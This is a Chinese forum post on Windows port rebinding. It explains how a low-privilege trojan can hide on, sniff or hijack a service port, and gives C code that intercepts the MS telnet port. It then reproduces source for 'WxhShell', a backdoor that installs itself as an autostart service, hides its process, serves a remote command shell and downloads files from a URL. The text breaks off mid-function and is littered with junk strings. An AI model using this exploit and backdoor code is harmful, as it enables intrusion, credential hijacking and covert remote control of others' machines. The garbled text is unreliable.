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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T|oDJ]\J  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); KVoi>?a   
%^I 7=  
  saddr.sin_family = AF_INET; ,-$%>Uv   
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); uY3$nlhP6  
7~MWp4.   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }EfRYE$E  
e6gj'GmY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 9p02K@wkD  
A1zV5-E/  
  这意味着什么?意味着可以进行如下的攻击: o'P[uB/  
JP]4* l  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 w+%p4VkA<r  
m`XaY J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \q-["W34  
fB; o3!y  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 }LIf]Y K  
9% P$e=Ui#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '+^XL6$L  
8fWnKWbbjw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 blbzh';0}  
'i/"D8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 nM$-L.dG  
@M }`nKXM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 OH+2)X  
z"sv,W  
  #include 3@;24X  
  #include [.G~5%974  
  #include T5-'|+  
  #include    |>I4(''}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   kP~ ;dJD  
  int main() 9fSX=PVRmQ  
  { uTrGb:^  
  WORD wVersionRequested; rPW 9lG  
  DWORD ret; =8qhK=&]  
  WSADATA wsaData; Mr K?,7*Xi  
  BOOL val; {\!@ k\__  
  SOCKADDR_IN saddr; ol4!#4Y&{  
  SOCKADDR_IN scaddr; 7 Uu  
  int err; 9JC8OSjJ  
  SOCKET s; !.{{QwZ  
  SOCKET sc; i6h0_q8 >  
  int caddsize; FRE${~Xd  
  HANDLE mt; UB;~Rf(.  
  DWORD tid;   q*>|EJR^Rw  
  wVersionRequested = MAKEWORD( 2, 2 ); A56aOI=  
  err = WSAStartup( wVersionRequested, &wsaData ); xaSiG  
  if ( err != 0 ) { oP<E)  
  printf("error!WSAStartup failed!\n"); eY$Q}BcW  
  return -1; 0ipYXbC  
  } <_Po/a!c3  
  saddr.sin_family = AF_INET; W.b?~  
   U./1OZ&  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %eqL)pC]  
F>3fP  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }xzbg  
  saddr.sin_port = htons(23); (e{pAm  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5adB5)`  
  { 1Yv#4t  
  printf("error!socket failed!\n"); [SLBA_d  
  return -1; I03 45Hc  
  } [Hp"a^~r|  
  val = TRUE; RE:$c!E!  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Riz!HtyR  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &4l >_  
  { 9=^4p=1J  
  printf("error!setsockopt failed!\n"); .l&<-l;UQ  
  return -1; </d&bS  
  } Rh#TR"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EabZ7zFoN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~rU{Q>c  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (svd~he2  
V$ss[fX  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) BcTV5Wcr  
  { m&#a M8:\  
  ret=GetLastError(); %g&i.2v  
  printf("error!bind failed!\n"); -@_V|C'?  
  return -1; AJH-V 6  
  } Ax+q/nvnb  
  listen(s,2); SA$1rqU=  
  while(1) .!J,9PE  
  { E :Y *;  
  caddsize = sizeof(scaddr); n\y%5J+  
  //接受连接请求  hG!"e4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ((%g\&D  
  if(sc!=INVALID_SOCKET) ^t\AB)(8  
  { rRZ ,X%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sh"\ kk9  
  if(mt==NULL) 7e-l`]  
  { KuO5`  
  printf("Thread Creat Failed!\n"); lTv_%hUp  
  break; ` 5Qo*qx  
  } (yel  
  } Ea*Jl<  
  CloseHandle(mt); V qW(S1w  
  } GzUgzj|BN~  
  closesocket(s); 3l@={Ts  
  WSACleanup(); 0zAj.iG  
  return 0; L);kwx7{LW  
  }   /TgG^|  
  DWORD WINAPI ClientThread(LPVOID lpParam) .sDVBT'%  
  { 9f4#b8  
  SOCKET ss = (SOCKET)lpParam; ~?{"H<  
  SOCKET sc; B/CP/Pfb  
  unsigned char buf[4096]; ;2;Kq)j_=  
  SOCKADDR_IN saddr; ' RjFWHAp  
  long num; <4Jo1  
  DWORD val; 8BZDaiE"  
  DWORD ret; S|%f<zAtJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [ Q6v#I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nNFZ77lg  
  saddr.sin_family = AF_INET; |EaEdA@T  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =e,2/Ep{i  
  saddr.sin_port = htons(23); 8Mq] V v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U:`g12  
  { `?VB)  
  printf("error!socket failed!\n"); oY{r83h{  
  return -1; h&vq}  
  } |f~p3KCfV  
  val = 100; 'I_\ELb_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {^bs }($J  
  { +'x`rk  
  ret = GetLastError(); H{P"$zj`l  
  return -1; M+ gYKPP  
  } Q[y75 [  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (v^L2Po  
  { 9)QvJ87e@7  
  ret = GetLastError(); ET`;TfqM  
  return -1; fD<3Tl8U0  
  } }IGr%C(3%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -_ [Z5%B  
  { #$Z|)i]w  
  printf("error!socket connect failed!\n"); 94F9f^ L  
  closesocket(sc); j%KLp4J/e  
  closesocket(ss); SA|f1R2uS  
  return -1; -<i&`*zG  
  } fV_(P_C  
  while(1) , c/\'k\K)  
  { _Ucj)Ud k  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;ePmN|rq;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *"Ipu"G5?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 dQt*/]{q  
  num = recv(ss,buf,4096,0); LRv-q{jP;  
  if(num>0) XH0R:+s  
  send(sc,buf,num,0); ?/~7\ '|Z  
  else if(num==0) It4J \S  
  break; ^6ZA2-f/<8  
  num = recv(sc,buf,4096,0); n5%rsNxg  
  if(num>0) Mnaoh:z  
  send(ss,buf,num,0); 81/Bn!  
  else if(num==0) quU%9m \S`  
  break; F#Oqa^$(  
  } E q.?Ga  
  closesocket(ss); (CH F=g  
  closesocket(sc); %u43Pj  
  return 0 ; >"S'R9t  
  } `{/z\  
fdN-Zq@'  
56AaviEC  
========================================================== ab' f:  
V2'(}k  
下边附上一个代码,,WXhSHELL #T n~hnW  
2HMlh.R(C  
========================================================== Srz.-,2PF  
.)B_~tct  
#include "stdafx.h" yU*j{>%RsK  
'j!7 O+7y  
#include <stdio.h> 6pQ#Zg()vp  
#include <string.h> *Rj>// A  
#include <windows.h> (9$/r/-a  
#include <winsock2.h> 8sg8gBt  
#include <winsvc.h> . dVo[m;  
#include <urlmon.h> JB'q_dS}  
r%$-F2.p  
#pragma comment (lib, "Ws2_32.lib") kkFE9:[-c&  
#pragma comment (lib, "urlmon.lib") M>0=A  
][6$$ Lz  
#define MAX_USER   100 // 最大客户端连接数 g{f1JTJ7  
#define BUF_SOCK   200 // sock buffer \A5cM\-  
#define KEY_BUFF   255 // 输入 buffer VD +8j29  
6,0pkx&Nv  
#define REBOOT     0   // 重启 'e\m6~u\hm  
#define SHUTDOWN   1   // 关机 ^`\c;!)F<  
IX^k<Jqr  
#define DEF_PORT   5000 // 监听端口 Jnm{i|6N  
lb&tAl"D  
#define REG_LEN     16   // 注册表键长度 ?U2ed)zzw  
#define SVC_LEN     80   // NT服务名长度 }jfU qqFd  
+vLuzM-  
// 从dll定义API 'sY>(D*CQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); co<){5zOT  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7vcYI#(2 Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JHc|.2Oe  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @k,u xe-  
)-[ 2vhXz  
// wxhshell配置信息 ]ODC+q1  
struct WSCFG { _d]w)YMO  
  int ws_port;         // 监听端口 IJ o`O  
  char ws_passstr[REG_LEN]; // 口令 ?a~=CC@  
  int ws_autoins;       // 安装标记, 1=yes 0=no PQXyu1  
  char ws_regname[REG_LEN]; // 注册表键名 J~DP*}~XK  
  char ws_svcname[REG_LEN]; // 服务名 1p23&\\~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nj.(iBmr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x-U:T.+{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * C~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 23y7l=.b/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bu%@1:l  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )Bl% {C  
(Y'rEc#H&z  
}; ph30/*8  
l`gRw4 /$  
// default Wxhshell configuration Cr4shdN34  
struct WSCFG wscfg={DEF_PORT, {mw,U[C  
    "xuhuanlingzhe", H[<"DP  
    1, L1Fn;nR  
    "Wxhshell", q!""pr<n  
    "Wxhshell", ^Cyx "s't  
            "WxhShell Service", FI*.2rdSR  
    "Wrsky Windows CmdShell Service", H<%7aOwO2  
    "Please Input Your Password: ", 0[T!}F^%e  
  1, S]9:3~  
  "http://www.wrsky.com/wxhshell.exe", phbdV8$L  
  "Wxhshell.exe" t_3)}  
    }; zScV 9,H1  
h^~eTi;c]Q  
// 消息定义模块 ~0|~Fg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L`x:Y>C(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _"a(vfl#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {+z+6i  
char *msg_ws_ext="\n\rExit."; gO4J[_  
char *msg_ws_end="\n\rQuit."; X+P& up06  
char *msg_ws_boot="\n\rReboot..."; E` XUK,b  
char *msg_ws_poff="\n\rShutdown..."; 2j4VW0:  
char *msg_ws_down="\n\rSave to "; 6H VS0  
.+ai dWd  
char *msg_ws_err="\n\rErr!"; idPkJf/  
char *msg_ws_ok="\n\rOK!"; o&;+!Si@T  
2*Z~J M  
char ExeFile[MAX_PATH]; P) ^K&7X  
int nUser = 0; -G;4['p  
HANDLE handles[MAX_USER]; ]J;^< 4l  
int OsIsNt; ]![ewO@  
@a>+r1  
SERVICE_STATUS       serviceStatus; ECg/ge2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N~\1yQT  
A<9ZX=DAjw  
// 函数声明 YANg2L>MK  
int Install(void); x nWapG  
int Uninstall(void); /qo.Z  
int DownloadFile(char *sURL, SOCKET wsh); /_x?PiL  
int Boot(int flag); +%?_1bGX>  
void HideProc(void); Bu>srX9f  
int GetOsVer(void); )f(#Fn  
int Wxhshell(SOCKET wsl); h k(2,z  
void TalkWithClient(void *cs); lx U}HM  
int CmdShell(SOCKET sock); }v0oFY$u`H  
int StartFromService(void); c(ZkK  
int StartWxhshell(LPSTR lpCmdLine); ( y2%G=.j  
`"zX<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); XdLB1H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1U@qR U  
+To{Tm-  
// 数据结构和表定义 Z\(+awv  
SERVICE_TABLE_ENTRY DispatchTable[] = D gY2:&0  
{ lb{*,S  
{wscfg.ws_svcname, NTServiceMain}, N: d`L+tcc  
{NULL, NULL} GLnj& Ve  
}; %OfaBv&  
8$OE<c?#5n  
// 自我安装 2!7wGXm~U  
int Install(void) yFl@ z  
{ d@7 ]=P:  
  char svExeFile[MAX_PATH]; V_Wv(G0-\  
  HKEY key; `-]*Qb+  
  strcpy(svExeFile,ExeFile); f@[q# }6  
]*%0CDY6`N  
// 如果是win9x系统,修改注册表设为自启动 wcsUb 9(  
if(!OsIsNt) { 'Xxt[Jy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,hT t]w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KNQX\-=  
  RegCloseKey(key); b0 PF7PEEQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {]Nvq9?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xv]O1fcI  
  RegCloseKey(key); fk#SD "iJ  
  return 0; 2o6KVQ  
    } TN.mNl%  
  } 1 q}iUnR  
} tP"C >#LO  
else { zK k;&y|{  
k~`pV/6  
// 如果是NT以上系统,安装为系统服务 qI^6}PB  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9{'GrL  
if (schSCManager!=0) ^7Z)/c`"  
{ jU@qQ@|  
  SC_HANDLE schService = CreateService $ze%! C  
  ( -PB m@}*  
  schSCManager, 80![aj}z4G  
  wscfg.ws_svcname, xs.>+(@|;  
  wscfg.ws_svcdisp, (pREo/T  
  SERVICE_ALL_ACCESS, &h`s:Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9Fv1D  
  SERVICE_AUTO_START, )f*&}SV  
  SERVICE_ERROR_NORMAL, uPr@xff  
  svExeFile, +a"MSPC4w  
  NULL, x`WP*a7Fk]  
  NULL, x: `oqbd  
  NULL, P`@d8 %*;  
  NULL, ;&s`g   
  NULL ?`u Y*+u  
  ); i"0^Gr  
  if (schService!=0) % E3  
  { (Z,v)TOXjV  
  CloseServiceHandle(schService); PUuxKW}  
  CloseServiceHandle(schSCManager); \WQ\q \  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); J)x-Yhe  
  strcat(svExeFile,wscfg.ws_svcname); 4~P{H/]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A'c0zWV2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); _o'ii VDuD  
  RegCloseKey(key); brl(7_ 2  
  return 0; u+&BR1)C  
    } 7!]$XGz[  
  } )%-FnW  
  CloseServiceHandle(schSCManager); ]p\7s  
} )U`6` &F  
} QpBgG~h"  
&;&i#ZO  
return 1; }cn46 L%/  
} ,5mK_iUw3  
"n^h'// mn  
// 自我卸载 *Cz>r}W  
int Uninstall(void) /a [i:Oa#  
{ blpX_N  
  HKEY key; ;ug& v C  
T4]/w|?G  
if(!OsIsNt) { Xx~OZ^t&Vn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hxP%m4xF +  
  RegDeleteValue(key,wscfg.ws_regname); 5k)QjZo  
  RegCloseKey(key); }rj.N98  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4c_TrNwP  
  RegDeleteValue(key,wscfg.ws_regname); V: fz  
  RegCloseKey(key); ~pO6C*"  
  return 0; yH|[K=?S[  
  } IlVz 5#R  
} e=<knKc Q  
} GPONCL8(0  
else { <1YINkRz  
[a:yKJ[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,|D_? D)U  
if (schSCManager!=0) (#k>cA(}  
{ ]JVs/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4/;hA z  
  if (schService!=0) jVC`38|  
  { /BjM&v(5/  
  if(DeleteService(schService)!=0) { 12`q9Io"  
  CloseServiceHandle(schService); 'W(+rTFf!  
  CloseServiceHandle(schSCManager); cfBq/2I  
  return 0; AyKvh  
  } 0"ksNnxK  
  CloseServiceHandle(schService); E (  
  } X;lL$  
  CloseServiceHandle(schSCManager); 9UsA>m.  
} )_k"_VVcC  
} IppzQ0'=y1  
X; I:i%-  
return 1; L.ScC  
} b`){f\#t  
0{^@kxV  
// 从指定url下载文件 |5oK04<  
int DownloadFile(char *sURL, SOCKET wsh) Px{Cvc  
{ c7UmR?m  
  HRESULT hr; V T8PV5z  
char seps[]= "/"; jd8`D6|Z  
char *token; f4UnLig  
char *file; 7|%|w  
char myURL[MAX_PATH]; i8iv{e2  
char myFILE[MAX_PATH]; _1Iy/T@1  
KJn@2x6LP  
strcpy(myURL,sURL); Ir&rTGFN  
  token=strtok(myURL,seps); }(k#,&Fv`  
  while(token!=NULL) TUHm.!+a  
  { h sG~xRA\  
    file=token; O#LG$Y n*  
  token=strtok(NULL,seps); pRWEBd1U  
  } 5$f vI#NO<  
TRP#b 7nC  
GetCurrentDirectory(MAX_PATH,myFILE);  ,5!&}  
strcat(myFILE, "\\"); +`tl<r g;  
strcat(myFILE, file); i[_ (0P+Da  
  send(wsh,myFILE,strlen(myFILE),0); yM aU`z  
send(wsh,"...",3,0); 5.m&93P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }<R,)ZV^G  
  if(hr==S_OK) iO1ir+B\  
return 0; ;;e\"%}@=q  
else \d"JYym  
return 1; h1}U#XV  
R=&9M4  
} I@Cq<:+(3  
:btb|^C  
// 系统电源模块  lS@0 $  
int Boot(int flag) MDV<[${   
{ ?YE'J~0A6  
  HANDLE hToken; ;iT@41)7  
  TOKEN_PRIVILEGES tkp; ]Z\Z_t  
f@S n1c,Mk  
  if(OsIsNt) { 21NGsG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); paKur%2u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dbn9t7'{  
    tkp.PrivilegeCount = 1; L\0;)eJ#M  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  N>ncv  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w>#{Nl7gz  
if(flag==REBOOT) { { 0\Ez}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d*qb^C{'"  
  return 0; (V&5EO8)  
} o>|&k]W/  
else { g)?Ol  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D5Zgi!  
  return 0; yS#)F.  
} \^o8qw'pt  
  } ga?:k,xv  
  else { f( M$m,d  
if(flag==REBOOT) { l5h+:^#M5c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 7Qdf#DG  
  return 0; k+9*7y8w  
} /q| r!+  
else { `wI$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jej.!f:H  
  return 0; MzEeDN  
} YnR8mVo5Q  
} (g" {A  
KA $jG{ yq  
return 1; bG0 |+k3O  
} 87!D@Xn  
 yqH  
// win9x进程隐藏模块 .lsD+}  
void HideProc(void) m}UcF oaO  
{ cI Sugk~  
o*MiKgQ&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xr:gm`[  
  if ( hKernel != NULL ) 6ZO6 O=KD  
  { {c  : 7:  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n?KhBJx 4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q ~%'V  
    FreeLibrary(hKernel); 4nsc`Hu  
  } ]ilQq~X  
1.9bU/X  
return; GLO%>&  
} y+\kZIqX  
]z5kYU&  
// 获取操作系统版本 8H'ybfed  
int GetOsVer(void) DC samOA~  
{ *S xDwN  
  OSVERSIONINFO winfo; awXK9}.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +3yG8  
  GetVersionEx(&winfo); HNJR&U t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gmUXh;aHc  
  return 1; A%[e<vj9  
  else reQr=OAez  
  return 0; -F. c<@*E  
} J&2 J6Eq  
 \gsJ1@  
// 客户端句柄模块 Y/x>wNW  
int Wxhshell(SOCKET wsl) zG0]!A  
{ a}e GB +  
  SOCKET wsh; lRk_<A  
  struct sockaddr_in client; vjL +fH<0:  
  DWORD myID; LR "=(  
XF&_**0n  
  while(nUser<MAX_USER) `@q\R-`  
{ ^B_SAZ&%%  
  int nSize=sizeof(client); PglSQ2P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <4LW.q  
  if(wsh==INVALID_SOCKET) return 1; F?z:[1(:  
vfd<qdi3p(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /0swrt.  
if(handles[nUser]==0) ,i jB3J  
  closesocket(wsh); }qw->+nD  
else A"B#t"  
  nUser++; MY60%  
  } eRqPZb"6MR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J$W4AT  
T@Bu Fr`]<  
  return 0; _Sg"|g  
} jY2mn".N  
{#.<hPXn  
// 关闭 socket i]#"@xQ  
void CloseIt(SOCKET wsh) Kv9$c(~#  
{ V3% >TNp  
closesocket(wsh); 'fs tfk  
nUser--;  >akC  
ExitThread(0); ur:8`+" (  
} ?f$U8A4lp  
-Qn l)JB  
// 客户端请求句柄 4VHWoN"U  
void TalkWithClient(void *cs) VFrp7;z43  
{ v8YF+N  
}4g$ aTc  
  SOCKET wsh=(SOCKET)cs; k|czQ"vaI  
  char pwd[SVC_LEN]; zcC:b4  
  char cmd[KEY_BUFF];  Y(  
char chr[1]; =P9Tc"2PN  
int i,j; zs(P2$  
o}&{Y2!x  
  while (nUser < MAX_USER) { xHCdtloi?I  
B"sB0NuT/$  
if(wscfg.ws_passstr) { Pl. y9g~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qSDn0^y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V'tqsKQ!  
  //ZeroMemory(pwd,KEY_BUFF); q;lR|NOh  
      i=0; !F:mD ZeY  
  while(i<SVC_LEN) { A^E 6)A=  
0h~{K  
  // 设置超时 !{4'=+  
  fd_set FdRead; )7{r8a  
  struct timeval TimeOut; pw&k0?K#  
  FD_ZERO(&FdRead); QE8 `nMf  
  FD_SET(wsh,&FdRead); m2H?VY .^K  
  TimeOut.tv_sec=8; g[R4/]K^$  
  TimeOut.tv_usec=0; |ZM>UJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UGlHe7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 76o3Sge:  
K^6d_b&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a)4%sX*I  
  pwd=chr[0]; .EPv4[2%F8  
  if(chr[0]==0xd || chr[0]==0xa) { `T+w5ONn  
  pwd=0; qw*) R#=  
  break; ?yxQs=&-q~  
  } )@p?4XsT4J  
  i++; .R@s6}C`}=  
    } aZ|?i }  
M KX+'p\w  
  // 如果是非法用户,关闭 socket LzJ`@0RrX  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s q;!5qK  
} S[gACEZ =  
wMw}3qX$j  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); c5|sda{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l[]cUE  
%-]a[qf3  
while(1) { +?W4ac1  
+0 }_X  
  ZeroMemory(cmd,KEY_BUFF); [!>9K}z,=  
f~*7hv\  
      // 自动支持客户端 telnet标准   `dD_"Hdt  
  j=0; -uu&{$  
  while(j<KEY_BUFF) { FW5v 1s=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D^2lb"3  
  cmd[j]=chr[0]; Q lA?dXQ  
  if(chr[0]==0xa || chr[0]==0xd) { 5 HsF#  
  cmd[j]=0; J>k 6`gw  
  break; aNs8T`  
  } j74hWz+p4  
  j++; dF09_nw  
    } J2 /19'QE  
BG8/  
  // 下载文件 E]8uj8K3]  
  if(strstr(cmd,"http://")) { ZW9OPwV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); K@JaN/OM  
  if(DownloadFile(cmd,wsh)) ]v0Z[l>yf  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); SSxz1y  
  else V%)Tu{L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S*>T%#F6Uo  
  } NM^uP+uS  
  else { +zd/<  
gq;>DY]   
    switch(cmd[0]) { 2NJ\`1HZ\  
  Mo<q(_ZeRP  
  // 帮助 c_CVZR?  
  case '?': { g~b$WV%  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bu&9J(J1  
    break; $=Ns7Sbup  
  } zd)QCq  
  // 安装 ?G,gPb  
  case 'i': { _;U%`/T b  
    if(Install()) =-_hq'il  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A^p{Cq@E  
    else q*4U2_^.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ {]y(GT  
    break; (5E09K$  
    } ?pfr^ !@$  
  // 卸载 _9t1 aP5  
  case 'r': { XXhN; -p  
    if(Uninstall()) n-xdyJD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %k32:qe  
    else AD^I1 ]2f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yNEU/>]>2  
    break; ~,oz hj0f/  
    } Rzh.zvxTp  
  // 显示 wxhshell 所在路径 `'^o45  
  case 'p': { ;x 2o|#`b  
    char svExeFile[MAX_PATH]; oGB|k]6]|  
    strcpy(svExeFile,"\n\r"); {l5fKVb\C  
      strcat(svExeFile,ExeFile); <xF]ca  
        send(wsh,svExeFile,strlen(svExeFile),0); },#7  
    break; JB].ht  
    } @{q<"hT  
  // 重启 !zx8I7e4  
  case 'b': { *!JB^5(H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L@/IyQ[H1  
    if(Boot(REBOOT)) {:("oK6w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QRK\74'uY  
    else { oQ,<Yx%E3  
    closesocket(wsh); v*qbzW`  
    ExitThread(0); -aVC`  
    } ZZZ9C#hK^9  
    break; b=xn(HE8|  
    } [`qdpzUp&  
  // 关机 r8eJ&-Yi{Z  
  case 'd': { X[r0$yuE  
